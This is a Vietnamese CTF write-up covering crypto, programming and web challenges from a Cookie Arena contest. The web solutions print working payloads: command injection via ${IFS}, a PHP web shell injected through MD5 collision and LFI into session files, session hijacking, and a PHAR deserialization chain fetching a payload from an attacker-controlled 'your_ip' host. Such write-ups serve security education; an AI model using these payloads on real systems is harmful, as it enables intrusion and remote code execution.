Crypto
Basic Operator
Description
Sử dụng kiến thức toán học và cấu trúc đại số để giải mã flag
Link Download: https://drive.google.com/file/d/12t2NfEJISC_TSI0FFjqiHDEQmlGEH195/view?usp=drive_link (pass: cookiehanhoan)
Format FLAG: CHH{XXX}
Solution
Down challenge được file python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from Crypto.Util import number
def padding_pkcs7(data,block_size=4):
tmp = len(data) + (block_size - len(data) % block_size)
return data.ljust(tmp,bytes([block_size-(len(data)%block_size)]))
def split_block(data,block_size):
return list(int.from_bytes(data[i:i+block_size],'little') for i in range(0,len(data),block_size))
def plus_func(data,shift):
return (data+shift)&0xffffffff
def mul_func(data,mul):
return (data*mul)&0xffffffff
def xor_shift_right_func(data,bit_loc):
return (data^(data>>bit_loc))&0xffffffff
def pow_func(data,e,p):
return pow(data,e,p)
def exp_func(data,base,p):
return pow(base,data,p)
def ecb_mode(data):
return list(pow_func(exp_func(xor_shift_right_func(mul_func(plus_func(block,3442055609),2898124289),1),e,p),e,p) for block in split_block(padding_pkcs7(data,4),4))
if __name__=='__main__':
p = 1341161101353773850779
e = 2
mess = b'CHH{CENSORED}'
cipher_flag = ecb_mode(mess)
print(cipher_flag)
Dựng lại hàm ngược của từng hàm (chạy bằng Sage)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from Crypto.Util.Padding import unpad
def rev_exp_func(rev, base, p):
R = Zmod(p)
data = discrete_log(R(rev), R(base))
return Integer(data)
def rev_pow_func1(rev, e, p):
R = Zmod(p)
return int(p - R(rev).nth_root(2))
def rev_pow_func2(rev, e, p):
R = Zmod(p)
return int(R(rev).nth_root(2))
def rev_shift_right_func(n):
n = format(n, "032b")
# print(n)
b = [0]
for i in range(32):
b.append(b[i] ^^ int(n[i]))
# assert len(b) == 32
return int("".join([str(i) for i in b[1:]]) , 2)
def rev_mul_func(rev, mul):
R = Zmod(0xffffffff + 1)
return int(R(rev)/ R(mul))
def rev_plus_func(rev, shift):
R = Zmod(0xffffffff + 1)
return int(R(rev)- R(shift))
def unpad_pksc7(padding):
return unpad(padding, 4)
def mix_block(list_block):
return [int.to_bytes(i, 4, "little") for i in list_block]
def decrypt1(cipher_block):
p = 1341161101353773850779
e = 2
return mix_block([rev_plus_func(rev_mul_func(rev_shift_right_func(rev_exp_func(rev_pow_func1(block, e, p), e, p)), 2898124289), 3442055609) for block in cipher_block])
def decrypt2(cipher_block):
p = 1341161101353773850779
e = 2
return mix_block([rev_plus_func(rev_mul_func(rev_shift_right_func(rev_exp_func(rev_pow_func2(block, e, p), e, p)), 2898124289), 3442055609) for block in cipher_block])
Cipher = [752589857254588976778, 854606763225554935934, 102518422244000685572, 779286449062901931327, 424602910997772742508, 1194307203769437983433, 501056821915021871618, 691835640758326884371, 778501969928317687301, 1260460302610253211574, 833211399330573153864, 223847974292916916557]
a = decrypt1(Cipher)
b = decrypt2(Cipher)
print(b[0] + b[1] + a[2] + b[3] + a[4] + a[5] + b[6] + a[7] + a[8] + b[9] + a[10] + b[11])
Lý do tại sao lại có hai decrypt do hàm pow, phương trình \(x^2 = y ~ mod~ p\) có 2 nghiệm phân biệt
Flag: CHH{w3lc0m3_70_7h3_m47h_w0rld(1_h4t3_1t_th3r3)}
Knapsack Ls
Description
Hệ thống mã hóa giựa trên bài toán Knapsack (bài toán xếp ba lô) đã bị coi là lỗi thời, nhưng điều đó không có nghĩa là nó có thể bị phá giải quá dễ dàng. Dựa vào implementation của mã hóa Knapsack trong knapsack.py, giải mã cipher để thu hồi flag.
Link Download: https://drive.google.com/file/d/1YF328FF0rMWPw8IFa_jMzXytiM9MqVg9/view?usp=drive_link (pass: cookiehanhoan)
Solution
Bài toán Knapsack trên trường số nguyên có thể giải bằng LLL (chạy bằng sage)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
def convert_bin_bytes(data:list, bit_size:int)->bytes:# little endian
data = sum(data[i]<<i for i in range(bit_size))
return data.to_bytes(bit_size//8,'little')
def solve(A, a):
n = len(a)
list_mat = []
for i in range(0,n):
v = [0,] * i + [2,] + [0,] * (n - 1 - i) + [a[i],]
list_mat.append(v)
v = [1,] * n + [A,]
list_mat.append(v)
B = matrix(ZZ, list_mat)
B = B.LLL()
solution = []
for v in B:
if v[n] == 0:
x = []
for i in range(n):
if v[i] != 1 and v[i] != -1:
break
x.append((v[i]+1) // 2)
if len(x) == n:
t = 0
for i in range(0,n):
t += x[i] * a[i]
if t == A:
solution.append(x)
t = 0
for i in range(0, n):
t += (1-x[i]) * a[i]
x[i] = 1 - x[i]
if t == A:
solution.append(x)
return solution[0]
a = [43840113305581131795279797789093610869, 25671162443490210031784763050767207532, 6001769265119430614631782649952643356, 73521673497713025029239337461919881111, 86207439010568594314162414481970962317, 47714522703176373455115652188956101728, 39013785450660799339071487833855117053, 99720328779553130323261570624699472274, 56801730014082032103764648702913670605, 56875947939072280053341910569703290481, 6777018736332231356360273109122323983, 64282820255623342830695520268826453473, 21510177863483107761513368858017158458, 88999212996376205373411604716481814294, 21167180433710172715561410769658980338, 53988354426206626048276676648717671789, 82454574554107632872906561271793885103, 34238518652709304551635369779340095136, 5081213770246109310854315030563596017, 35676546839591659980876620994236683080, 61804490028276149551813742275879895343, 47868484398459384397990013507113194128, 79141732458875716511767486956076635010, 89768484644472604982812438158836379513, 108665660470366488973920414914088436457, 42013527007997056247679460159005166736, 59516238668397055079712758172437350204, 12247246885302547631808898114678421540, 68119702452821826703846268698978422087, 46477361269068664125259653428529967798, 104192935540102711457274510496328770849, 39480897318804270587289396967546023715]
cipher = b'\xe7\x81W\x8eA0\xb0\x92tM\xc9\x06\x07~$\xef\x01\x0c\x16\x8cP\x11l\x81\xe8\xa7\xa3\x0e\xec\x8a~\xe9Z\x02\xb28\x92z^\x16m\xb5\x80o\xf6\xd9\xec@\xc0\x85\x02\xdbvo\x8bB\xb3\xa2\xe4\x00\x01\xc2\xcaL\xdb\x8a\t\x03\xaf\xa528\xc8\xa1\xf6\x05u\xeb\xc0\xcbc\x06\xd8 \x02\xca@E&\xf0d4A\x85\x04\x84p~\xa5\t\xfe\x02\xd9\xa8\xcbp\xb9\xe8\x14\x04\x9a\xb9\x16#\x0b\xb8\x98\x90\x02\x8c\xe2\xf1\x8a\xf1\xe3Z\xe4\xff\xb4"\xeb\x86k\x97\x1b\x02IsN%\xd5\xect\x96\xb3\xe7\xf5Mw\xe6S\xbd\x02\xb7\xc4\xe9\xa6\x019q\xc9\xdd\xaf\xad9bG\xd8\x1e\x02\x18{\xc6q\xbe=\x97&\x18qj\xed\xfd\xb8\x94\xfd\x01'
def decrypt(block, public_key):
A = int.from_bytes(block, "little")
return convert_bin_bytes([int(i) for i in solve(A, public_key)], 32)
flag = b""
for i in range(0, len(cipher), 17):
flag += decrypt(cipher[i:i+17], a)
print(flag)
Flag: CTF{kn4p54ck_15_br0k3n_th3r3f0r3_e4sy!!!}
Rubic Cipher
Description
Flag đã được xáo trộn bằng một thuật toán dựa trên cơ chế xoay khối rubik, tìm hiểu và áp dụng cơ chế này để thu hồi flag
Link Download: https://drive.google.com/file/d/1MMTfyOtnTpIb59uyleONykER_iidt5L7/view?usp=drive_link (pass: cookiehanhoan)
Format FLAG: CHH{XXX}
Solution
Dựng lại thuật toán mã hóa bằng Rubik sử dụng thư viện numpy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
import numpy as np
class Cube(object):
dimensions = 3
def __init__(self, block):
assert len(block) == 54
self.U = np.array([list(block[i:i+3]) for i in range(0,9,3)], dtype=np.dtype('b'))
self.L = np.array([list(block[i+9:i+12]) for i in range(0,33,12)], dtype=np.dtype('b'))
self.F = np.array([list(block[i+12:i+15]) for i in range(0,33,12)], dtype=np.dtype('b'))
self.R = np.array([list(block[i+15:i+18]) for i in range(0,33,12)], dtype=np.dtype('b'))
self.B = np.array([list(block[i+18:i+21]) for i in range(0,33,12)], dtype=np.dtype('b'))
self.D = np.array([list(block[i:i+3]) for i in range(45,54,3)], dtype=np.dtype('b'))
def rot_x(self, prime=False):
'''Rotates the entire cube on R face.
Anticlockwise rotation is simply clockwise rotation * 3
'''
for i in range(3 if prime else 1):
bufU = self.U
self.U = self.F
self.F = self.D
self.D = self.B[::-1,::-1]
self.B = bufU[::-1,::-1]
self.R = np.rot90(self.R, k=-1)
self.L = np.rot90(self.L, k=1)
def rot_y(self, prime=False):
'''Rotates the entire cube on U face.
Anticlockwise rotation is simply clockwise rotation * 3
'''
for i in range(3 if prime else 1):
bufF = self.F
self.F = self.R
self.R = self.B
self.B = self.L
self.L = bufF
self.U = np.rot90(self.U, k=-1)
self.D = np.rot90(self.D, k=1)
def rot_F(self, prime=False):
'''Rotates face F
Anticlockwise rotation is simply clockwise rotation * 3
'''
self.F = np.rot90(self.F, k=1 if prime else -1)
for i in range(3 if prime else 1):
buf = self.L[:, -1].copy()
self.L[:, -1] = self.D[0]
self.D[0] = self.R[:, 0][::-1]
self.R[:, 0] = self.U[-1]
self.U[-1] = buf[::-1]
def rot_B(self, prime=False):
# B = 2y F 2y
# B' = 2y F' 2y
self.rot_y()
self.rot_y()
self.rot_F(prime)
self.rot_y()
self.rot_y()
def rot_L(self, prime=False):
# L = y' F y
# L'= y' F' y
self.rot_y(True)
self.rot_F(prime)
self.rot_y()
def rot_R(self, prime=False):
# R = y F y'
# R'= y F' y'
self.rot_y()
self.rot_F(prime)
self.rot_y(True)
def rot_U(self, prime=False):
# U = x' F x
# U' = x' F' x
self.rot_x(True)
self.rot_F(prime)
self.rot_x()
def rot_D(self, prime=False):
# D = x F x'
# D' = x F' x'
self.rot_x()
self.rot_F(prime)
self.rot_x(True)
def apply(self, move, prime=False):
getattr(self, "rot_"+move[0])(prime)
def scramble(self, scramble):
# Take each move and apply it, if it contains a'2', do it again
for move in scramble.split(' '):
m = move.replace("2", "")
self.apply(m, "'" in move)
if '2' in move:
self.apply(m, "'" in move)
def unscramble(self, scramble):
# Take the reversed move list, if no '2' in move, do the reverse, other
for move in scramble.split(' ')[::-1]:
m = move.replace("2", "")
self.apply(m, not "'" in move)
if '2' in move:
self.apply(m, not "'" in move)
def get_block_bytes(self):
out = b"".join(self.U.flatten())
out +=b"".join(np.array(list(zip(self.L,self.F,self.R,self.B))).flatten())
out += b"".join(self.D.flatten())
return out
def __str__(self):
indent = ' ' * self.dimensions + ' ' * (self.dimensions-1) + '\t'
out = indent
out += '\n{i}'.format(i=indent).join([' '.join([str(tile) for tile in row]) for row in self.U]) + '\n\n'
out += "\n".join(["\t".join([" ".join([str(tile) for tile in r]) for r in x]) for x in np.array(list(zip(self.L,self.F,self.R,self.B)))])
out += "\n\n"
out += indent
out += '\n{i}'.format(i=indent).join([' '.join([str(tile) for tile in row]) for row in self.D]) + '\n'
return out
def byte_enc_block(block, key):
c = Cube(block)
c.scramble(key)
return c.get_block_bytes()
def byte_dec_block(block, key):
c = Cube(block)
c.unscramble(key)
return c.get_block_bytes()
def xor(block, key):
return bytes([b ^ k for b, k in zip(block, key)])
iv = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuv"
key ="D R2 F2 D B2 D2 R2 B2 D L2 D' R D B L2 B' L' R' B' F2 R2 D R2 B2 R2 D L2 D2 F2 R2 F' D' B2 D' B U B' L R' D'"
cipher = b';V".24$9\x0cw`\x02 \x16\x0b9j:2F\x128-x?\x05C\x1b3$\nShX*W\x01,\x025\x01\x0e\x17\x17\x01\x1c>X\x02C=\x00<\x1a0\x18>\x06\x00JE\x1e\x00\x16X\x0b \x0c\x1d\x08\r9\x0b0\x12q\x1fRS7\x0f3\x01tfa)\x07\x0ee3\n(<\x163j\x0b0.Z%%q8j$2'
# Đoạn này hơi guessing xíu thay vì dec thì lại enc :D
c1 = byte_enc_block(cipher[0:54], key)
c2 = byte_enc_block(cipher[54:108], key)
print(xor(c1, iv) + xor(c2, cipher[0:54]))
Flag: CHH{wh0_kn3w_rub1k_puzzl3_c4n_b3_u53d_f0r_3ncryp710n_t00?}
RSA Percent Leak
Description
Hệ thống mã hóa RSA đã vô tình để lộ quan hệ giữa p và q (thể hiện bởi l), sử dụng l để tái tạo p, q, và thu hồi flag.
Link Download: https://drive.google.com/file/d/1jZsn98o-Eb7uWnuzfsSUmoK5VW4iJ0vf/view?usp=drive_link (pass: cookiehanhoan)
Solution
Nhận xét:
1
2
3
((p & q) * (p ^ q) | 0x1337) % 2**k == (((p % 2**k) & (q % 2**k)) * ((p % 2**k) ^ (q % 2**k)) | 0x1337) % 2**k == l % 2**k
((p % 2**k) * (q % 2**k)) % 2**k == N % 2**k
Như vậy ta có thể khôi phục từng bit 1 của hệ hai phương trình trên bằng quay lui
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from Crypto.Util.number import long_to_bytes
c = 0x56b894058c86db8641f2586a94794662520de144dbfbd0d3ad36a50b81b6d70a6a1d6f3e7faf2b37b1c53127e5684d235191664741ff2f0516c3d7596f3995abdd16a171be43f5660c9d4620db64f2430ae8c314f5576d912aae2e643517466b3fb409b4589b4726f12f3c376de45960dafdb658279b232118e6a9b1383ef600cdef465c499d330776c89cc5e0d02ec97a0614bc1d557f4e53595772bf02310105fe0ff8e27ba0376500990e6e8b2eb318bfa20f46b62c8841e8f97e8b649a2b18e4d6dc1bc2184184288559f8e43043bbff6f27479aa7846dac4f1d9e62ee3167fe511a6606f4ff69fb61bb4d2610913bc85e57144b0fe58cfca8e8b2ba996e
n = 0xa7643b16219097b5cc47af0acfbb208b2717aa2c2dbdbd37a3e6f6f40ae12b77e8d129eb672d660b6e146682a32d70c01f8e481b90b5ec710dabb57e8de2661fd49ec9d3a23d159bd5fb397047a1e053bbbf579d996e7fe7af56332753b816f4a5353966bfe50b7e0d95d9f235f5edfd59e23d3a7523cd25ea6e34a6f16f2d14b21c43f3bb7b68a8b2237a77fb6cb4cf3ba3987c478a39391b0f42a0d0230846a054599fea4effe27fcd9b514f711831b38f0288db256deef967f3d3d20b9e0071027b99cae1b0a3bd452efd654d1a4a431291ba8a99743d44a35afcb1db267a8c63574ac1ef32c8e71de473cc98aea927e3de0daf5819600818edac66b74b9b
l = 0x168b7f77f276e7f9f55df25d096cd5abbf632f22eae79ba72bad2d60ebccb03c6b614be2c682d58655a335277afa171fb085b40519311be7e74d26d37a066d9487ce511ad72e54779225534ca37c2714e51aca763676590dc2fb1e70c66dc8113704e168d46ab91fd8cdc77738314be6e1b20fc5664b747dddc94ff17f2fc7c80e75bcdc1c3618c54144070f13e698b31ff3d601559a1dafb62904c1079d7ba69ec5d024068dd3b2e6c2d71e4a81589734a5c6e4d4a05335edaf42e9aacf339f930ffb909fa100398eff29a61cb2e58eeff756b5a7b101d69f1e11fa989431bc175e0d59264da400f2d63dfaf1b2ba27ee9698a6a9a83bfe57aab0c069089fff
def b2d(x):
return int(x, 2)
def d2b(x):
return format(x,"b")
def check(p, q, k):
p = b2d(p)
q = b2d(q)
return ((((p % 2**k) & (q % 2**k)) * ((p % 2**k) ^ (q % 2**k)) | 0x1337) % 2**k == l % 2**k) and ((p % 2**k) * (q % 2**k)) % 2**k == n % 2**k
sol = []
def Try(p, q, k):
global n
if b2d(p) * b2d(q) >= n:
if b2d(p) * b2d(q) == n:
print(f"p =", b2d(p))
print(f"q =", b2d(q))
sol.append([b2d(p),b2d(q)])
# Hủy hàm quay lui
n = 0
else:
for i in ("0", "1"):
for j in ("0", "1"):
p_ = i + p
q_ = j + q
if check(p_, q_, k + 1):
Try(p_, q_, k + 1)
N = n
Try("1", "1", 1)
p, q = sol[0]
phi = (p-1) * (q-1)
e = 65537
d = pow(e, -1, phi)
m = long_to_bytes(pow(c, d, N))
print(m)
Flag: CHH{pl3453_pr0v1d3_4_d3t41ll3d_wr1t3up_b3c4us3_7h1s_k1nd_0f_a77ack_1s_r4th3r_r4r3}
Programming
Decrypt
Description
Tab vốn là một học sinh rất giỏi toán, nên sau khi tham gia khoá học “Xoá mù bảo mật” của Cookie Hân Hoan, cậu liên muốn áp dụng các kỹ thuật toán học để nhằm mã hoá các mật khẩu của mình. Mật khẩu là một chuỗi ký tự S có độ dài n (thứ tự các ký tự từ trái qua phải lần lượt là từ 1 đến n), cách thức mã hoá là thực hiện theo quy trình sau:
Lặp đi lặp lại với lần lượt các ước số nguyên của n theo thứ tự giảm dần từ n tới 1. Với ước số d của n, sẽ đảo ngược chuỗi con S[1…d] (tức là chuỗi con gồm d ký tự đầu tiên) Sau khi thực hiện quy trình trên, Tab sẽ nhận được 1 mật khẩu đã được mã hoá. Ví dụ: Với mật khẩu là chuỗi cookiearenactf có độ dài 14. Với n = 14 có 4 ước số lần lượt là 14, 7, 2, 1.
1
2
3
4
Với d = 14, ta sẽ đảo 14 ký tự đầu tiên, cookiearenactf → ftcaneraeikooc
Với d = 7, ta sẽ đảo 7 ký tự đầu tiên, ftcaneraeikooc → renactfaeikooc
Với d = 2, ta đảo 2 ký tự đầu tiên, renactfaeikooc → ernactfaeikooc
Với d =1, ta đảo 1 ký tự đầu tiên, dĩ nhiên là không thay đổi gì, và nhận được mật khẩu đã được mã hoá là ernactfaeikooc
Và giờ Tab lưu lại mật khẩu đã được mã hoá của mình. Đến giờ cần đăng nhập, hãy giúp Tab tìm lại đúng mật khẩu của mình nào.
Đầu vào Dòng đầu tiên là một số nguyên n (1≤n≤1000), là độ dài của mật khẩu. Dòng thứ hai là một xâu ký tự có độ dài n bao gồm các chữ cái latin viết thường [a-z], chính là mật khẩu đã được mã hoá.
Đầu ra In ra xâu ký tự có độ dài n, chính là mật khẩu ban đầu trước khi được mã hoá. Lưu ý: luôn đảm bảo tồn tại mật khẩu chính xác và duy nhất.
Solution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def find_divisors(n):
divisors = []
for i in range(n, 0, -1):
if n % i == 0:
divisors.append(i)
return divisors
def reverse_substring(s, d):
return s[d-1::-1] + s[d:]
n = int(input())
encrypted_password = input()
divisors = find_divisors(n)
for d in divisors:
encrypted_password = reverse_substring(encrypted_password, d)
print(encrypted_password)
Identity Security
Description
Cookie Arena tổ chức cuộc thi CTF Season II thành công rực rỡ với hàng nghìn lượt đăng ký dự thi. Sau khi kết thúc, ngoài top 10 các bạn thí sinh đạt thành tích cao nhất và được giải chính thức của cuộc thi thì ban tổ chức quyết định sẽ trao tặng một số phần quà hiện vật nho nhỏ cho các bạn thí sinh đạt thành tích tốt, nhằm khích lệ tinh thần của các bạn trong các cuộc thi sau này do Cookie Arena tổ chức. Để công bố danh sách các thí sinh thì ban tổ chức quyết định dùng username để lên danh sách. Tuy nhiên, username trong hệ thống của Cookie Arena là email hoặc số điện thoại cá nhân của người dùng. Việc công khai các thông tin này là điều cấm kỵ, vì vậy bạn tổ chức quyết định che bớt một số ký tự, chỉ để lại một lượng nhỏ, vừa đủ để các thí sinh biết được rằng mình nằm trong danh sách có phần thưởng để liên hệ với ban tổ chức nhận quà.
Cụ thể, cách thức bảo mật danh tính của của thí sinh như sau:
1
2
Với thông tin số điện thoại thì chỉ hiển thị 2 chữ số đầu và 3 chữ số cuối, còn lại được che bằng ký tự hoa thị (*) với mỗi chữ số là một ký tự hoa thị tương ứng.
Với thông tin địa chỉ email thì chỉ giữ lại 2 ký tự đầu và 3 ký tự cuối của phần username, và tên miền (domain), các ký tự còn lại cũng được che tương tự như trên (trong trường hợp username quá ngắn, ít hơn hoặc bằng 7 ký tự thì chỉ giữ lại ký tự đầu và cuối của username). Biết rằng cấu trúc của một địa chỉ email luôn là username@domain.
Hãy giúp ban tổ chức một tay để bảo mật danh tính các thí sinh nào!
Đầu vào Dòng thứ nhất chứa một số nguyên duy nhất N là số lượng thông tin cần được che (1N1000) Tiếp theo là N dòng, mỗi dòng chứa 1 xâu chứa một trong 2 loại thông tin: Số điện thoại, là các chuỗi chữ số có độ dài 9, 10 hoặc 11 chữ số từ 0 đến 9. Địa chỉ email là các chuỗi ký tự bao gồm chữ cái hoa, thường trong bảng mã ASCII, dấu chấm, và 1 ký tự @ để phân chia username và tên miền (luôn đảm bảo email có 1 ký tự @). Độ dài của username của email tối thiểu 3 ký tự và tối đa 1000 ký tự.
Đầu ra N dòng tương ứng là các thông tin của các bạn sinh viên đã được giải tương ứng.
Solution
1
2
3
4
5
6
7
8
9
10
11
N = int(input())
for _ in range(N):
s = input().strip()
if s.isdigit():
print(s[:2] + '*'*(len(s)-5) + s[-3:])
else:
username, domain = s.split('@')
if len(username) <= 7:
print(username[0] + '*'*(len(username)-2) + username[-1] + '@' + domain)
else:
print(username[:2] + '*'*(len(username)-5) + username[-3:] + '@' + domain)
Web
Be Positive
Description
Tóm tắt: Cho cái web và đăng nhập alice:alice hoặc bob:bob @@
Solution
Đây là một hệ thống chuyển tiền, từ tên challenge nghĩ ngay đến việc chuyển tiền âm
Đăng nhập bằng tài khoản Alice và sửa intercept của burpsuite sang số âm
1
2
3
4
5
6
7
POST /?action=transfer HTTP/1.1
Host: be-positive-e048f4d8.dailycookie.cloud
Content-Length: 26
...
Connection: close
amount=-3000&recipient=bob
Flag: CHH{BE_cAr3fUL_WitH_NE6ATIV3_NumBeR_3e87da18c5f0302fa2c467a9d5cd18f7}
Slow down
Description
Tóm tắt: Cho cái web và đăng nhập alice:alice hoặc bob:bob @@
Solution
Bài này cấu trúc tương tự Be Positive
, tuy nhiên đã bị filter số âm
Nhận thấy ghi chuyển tiền thì trả về check amount < 0 nhanh nhưng trả về chuyển tiền thành công rất lâu, tên Chall là slow down, nghĩ tới Race Condition
Như vậy, sử dụng 2 thiết bị và đăng nhập cùng tài khoản Alice, chuyển cho bob 1499 cùng 1 lúc từ 2 máy -> Done ~~
Youtube Downloader
Description
Youtube Downloader là công cụ giúp bạn tải video từ Youtube về máy tính miễn phí. Nếu hack được ứng dụng này, bạn sẽ nắm trong tay công nghệ tải video của các website Youtube Downloader trên thế giới.
Solution
Thử 1 ảnh, ta nhận thấy câu lệnh youtube-dl
, dễ thấy có thể command injection
Tuy nhiên do url có filter dấu cách nên chúng ta sẽ thay dấu cách bởi ${IFS}
Payload:
1
2
1. https://www.youtube.com/watch?v=fyf;ls${IFS}-a${IFS}/
2. https://www.youtube.com/watch?v=fyf;cat${IFS}/flag.txt
Flag: CHH{Ea5y_cOmmaND_inj3c7Ion_2916ac0127955a1d9953fb2cc712d33d}
Pass Code
Description
Bạn không thể bẻ khoá Pass Code cực an toàn này.
Solution
Sử dụng công cụ https://deobfuscate.relative.im để deobfuscate JS
Mở trang “./flag.php” có ghi passcode là decrypt key
Nhập “bánh quy chấm sữa” và lấy flag
Flag: CHH{jAvAscRIP7_o8FuSCaTe_64acf3ed9f93904f6205709b47c8be28}
Magic Hash
Description
Hãy quan sát chức năng đăng nhập, nó có tồn tại những lỗ hổng nghiêm trọng. FLAG được lưu trong /flag.txt hãy tìm cách đọc được chúng.
Solution
Đăng nhập với password = 34250003024812
Khi đó sha256 = 0e46289032038065916139621039085883773413820991920706299695051332
Thật kỳ diệu khi mà "0e46289032038065916139621039085883773413820991920706299695051332" == "0"
Ta vào được trang upload và Upload shell đơn giản
Tham khảo shell tại Link
Flag: CHH{PHP_m4g1c_tr1ck_0lD_but_g0lD_8f9e3b92113749568a033b1a5fb20a4e}
Magic Login Harder
Description Hãy quan sát chức năng đăng nhập, nó có tồn tại những lỗ hổng nghiêm trọng. FLAG được lưu trong /flagXXX.txt hãy tìm cách đọc được chúng.
Challenge Download: https://drive.google.com/file/d/1ZSmsdcJ3iFR2KH4aSBQ9z4xlY-z8o-UH/view?usp=drive_link (pass: cookiehanhoan)
Solution
Download code về, thấy md5 collision
1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(isset($_POST["submit"])){
$username = base64_decode($_POST['username']);
$password = base64_decode($_POST['password']);
if(($username == $password)){
echo 'Username and password are not the same';
}
else if((md5($username)===md5($password))){
$_SESSION['username'] = $username;
header('Location: admin.php?file=1.txt');
} else {
echo 'Username and password are wrong';
}
}
Nhận xét
1
2
3
4
5
6
7
8
9
import hashlib
x = "4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2"
y = "4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2"
x = bytes.fromhex(x)
y = bytes.fromhex(y)
z = b"Any data"
assert hashlib.md5(x+z).hexdigest() == hashlib.md5(y+z).hexdigest()
Vậy ta có thể chọn username và password bất kì để đăng nhập rồi đó
Sang trang admin
1
2
3
4
5
6
7
8
9
10
11
header('Content-Type: text/html; charset=utf-8');
session_start();
if($_SESSION['username'] != null){
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}
}
else{
die("Only admin can use this");
}
Ồ rõ ràng đây là bug LFI, do không biết được flag tên gì nên ta sẽ phải LFI2RCE để tìm flag
LFI2RCE via PHP_SESSION
Dựng docker biết được vị trí session ở /tmp
Ta thử check /admin.php?file=/tmp/sess_fa76434b7b0aa122ef4b03aa9f8a3e99
Ở đây nó có hiện trường username, như vậy nếu username = ... <?php something ?>
thì sao nhì
Vậy ta chỉ cần sửa trường z
là xong
1
2
3
4
5
6
7
8
9
10
11
12
13
import hashlib
from base64 import b64encode as b
x = "4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2"
y = "4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2"
x = bytes.fromhex(x)
y = bytes.fromhex(y)
z = b"<?php system($_GET['cmd']);?>"
assert hashlib.md5(x+z).hexdigest() == hashlib.md5(y+z).hexdigest()
print(b(x+z))
print(b(y+z))
Payload /admin.php?file=/tmp/sess_5d7fa605ef28d522f0f9a849282638f0&cmd=ls%20/
Tiếp tục: /admin.php?file=/tmp/sess_5d7fa605ef28d522f0f9a849282638f0&cmd=cat%20/flagGZXLf.txt
Flag: CHH{7yPE_jU66lin9_hArdEr_df929768446acbfd50193567fa46ecdc}
Suck it
Description
Bạn thâm nhập được vào kênh chat của tổ chức bí mật. Lão admin của kênh chat này rất xấu xa. Hắn buôn lậu vũ khí và đẩy bà già xuống biển. Tuy nhiên, hắn luôn nói bí mật cho người yêu. Hãy giúp tôi tìm ra bí mật đó. Tôi sẽ hổ trợ bạn source của trang web này.
Download challenge: https://drive.google.com/file/d/17LcN4BLMjSyWfT7BofysYjMio4OY2EdO/view?usp=drive_link (pass: cookiehanhoan)
Solution
Nhận xét: Sau khi force disconnect server sẽ gửi lại sessionID của user bị disconnect
Bật intercept burpsuite, gửi payload: 42["force disconnect","ADMIN","574a94b04f303f5663e833b883cd2b23"]
Nhận được sessionID
của admin
Sửa sessionID trên local storage
Giờ đã là admin và nhắn cho ny thui nào ><
Flag: CHH{H4ve_y0u_re4d_th3_m3ssage_babef0fdf5e83d09a24e9b60c421c3c9}
Video Extractor
Description
Video Link Extractor là công cụ giúp bạn trích xuất những thông tin cơ bản của các dịch vụ Video trực tuyến như Youtube, Vimeo. Tuy nhiên nó có tồn tại một lỗ hổng nghiêm trọng, hãy tìm ra nó và lợi dụng nó để đọc FLAG được lưu trong flag.php
Tải Challenge: https://drive.google.com/file/d/1jG_gLa9W_qcxhrAokVAbLgkEd2yS-uEX/view?usp=drive_link
Solution
Tải challenge về, check file utils.php
, ta có thể lợi dụng log_error để ghi file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function log_error($e){
$_error_file = "/tmp/".time().".log";
error_log($e, 3, $_error_file);
}
public function __wakeup(){
try
{
// check if format file is exists?
include $this->_file;
}
catch (Exception $e)
{
throw $e;
}
}
1
GET /index.php?mode=extract&host=<?=`tail+flag.php`?> HTTP/2
Hàm time
trả về thời gian hiện tại, như vậy không khó để đoán ra name của file này
Thời gian hiện tại là 1688985073
Hàm __wakekup
check $this->_file
tồn tại hay không
Để ý case local, có thể concat với id, lợi dụng mode redirect, tạo payload và trỏ tới một server public của mình
Request để lấy flag
1
GET /?mode=extract&id=%3fmode%3dredirect%26url%3dhttp%3a//your_ip/payload.txt&host=local HTTP/2
Flag: CHH{RCe_VIa_Ph4R_D3SeR1A11Sat10n_e7e2e2fdbb91037b93a792695fdb8cff}
Mobile
Cat Me
Description Với người dùng bình thường, họ không thể nhìn thấy gì. Nhưng hacker thì họ luôn có cách khác. Ứng dụng hoạt động tốt trên các thiết bị Android API 24 trở lên
